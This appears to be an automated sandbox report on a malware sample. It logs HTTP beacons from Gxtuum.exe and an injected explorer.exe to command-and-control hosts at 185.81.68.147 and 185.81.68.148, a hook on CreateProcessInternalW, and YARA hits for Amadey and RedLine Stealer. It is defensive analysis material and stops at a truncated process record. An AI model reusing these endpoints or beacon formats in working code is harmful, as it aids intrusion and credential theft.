Dec 13, 2024 08:21:13.695801973 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:13.815845013 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:15.210714102 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.11	50106	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:15.445481062 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:15.565365076 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:16.921998978 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.11	50107	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:15.618622065 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:16.939085960 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.11	50108	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:16.005428076 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:17.144870043 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.11	50109	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:17.148087025 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:17.268022060 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:18.605263948 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.11	50111	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:18.883739948 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:19.003609896 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:20.321099043 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.11	50110	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:19.222071886 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:20.018685102 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.11	50112	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:19.345832109 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:20.705713987 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.11	50113	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:20.554953098 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:20.674956083 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:22.153484106 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.11	50114	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:22.335344076 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:23.663537979 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.11	50115	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:22.382510900 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:22.502351046 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:23.837435007 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.11	50116	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:22.501132965 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:23.830214024 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.11	50117	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:24.070517063 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:24.190712929 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:25.694834948 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.11	50118	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:25.372050047 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:26.705961943 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.11	50119	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:25.573188066 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:26.894267082 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.11	50120	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:25.930139065 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:26.050694942 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:27.416011095 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.11	50121	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:27.651650906 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:27.771655083 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:29.160310030 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.11	50122	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:28.843250990 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:30.189109087 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
CreateProcessInternalW	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: KERNEL32.DLL

Function Name	Hook Type	New Data
CreateProcessInternalW	INLINE	0xE9 0x90 0x00 0x07 0x75 0x5F

Target ID:	0
Start time:	02:18:39
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\mggoBrtk9t.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\mggoBrtk9t.exe"
Imagebase:	0x7ff7cdc40000
File size:	308'224 bytes
MD5 hash:	DD1E3F38AE7711D270748012AF613950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:18:39
Start date:	13/12/2024
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\audiodg.exe"
Imagebase:	0x7ff6fdb50000
File size:	632'808 bytes
MD5 hash:	627DEA21175691FDE4495877C53B4C87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:18:39
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000002.00000002.3800744010.0000021C7EC7D000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:18:39
Start date:	13/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe"
Imagebase:	0x7ff63b520000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:18:39
Start date:	13/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff611de0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000005.00000000.1347856091.000000000AFF0000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000005.00000003.1588276592.000000000A1EE000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:18:50
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe"
Imagebase:	0x7ff673520000
File size:	308'224 bytes
MD5 hash:	DD1E3F38AE7711D270748012AF613950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:18:50
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:18:50
Start date:	13/12/2024
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\audiodg.exe"
Imagebase:	0x7ff6fdb50000
File size:	632'808 bytes
MD5 hash:	627DEA21175691FDE4495877C53B4C87
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:18:50
Start date:	13/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe"
Imagebase:	0x7ff63b520000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:18:58
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"
Imagebase:	0x7ff7102c0000
File size:	5'915'948 bytes
MD5 hash:	AE2A4249C8389603933DF4F806546C96
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:18:59
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe"
Imagebase:	0x7ff673520000
File size:	308'224 bytes
MD5 hash:	DD1E3F38AE7711D270748012AF613950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:18:59
Start date:	13/12/2024
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\audiodg.exe"
Imagebase:	0x7ff6fdb50000
File size:	632'808 bytes
MD5 hash:	627DEA21175691FDE4495877C53B4C87
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:18:59
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:18:59
Start date:	13/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe"
Imagebase:	0x7ff63b520000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:19:00
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"
Imagebase:	0x7ff7102c0000
File size:	5'915'948 bytes
MD5 hash:	AE2A4249C8389603933DF4F806546C96
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:19:00
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe"
Imagebase:	0x7b0000
File size:	307'712 bytes
MD5 hash:	7B6730CA4DA283A35C41B831B9567F15
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000011.00000000.1536966434.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:19:05
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe"
Imagebase:	0x4b0000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:19:06
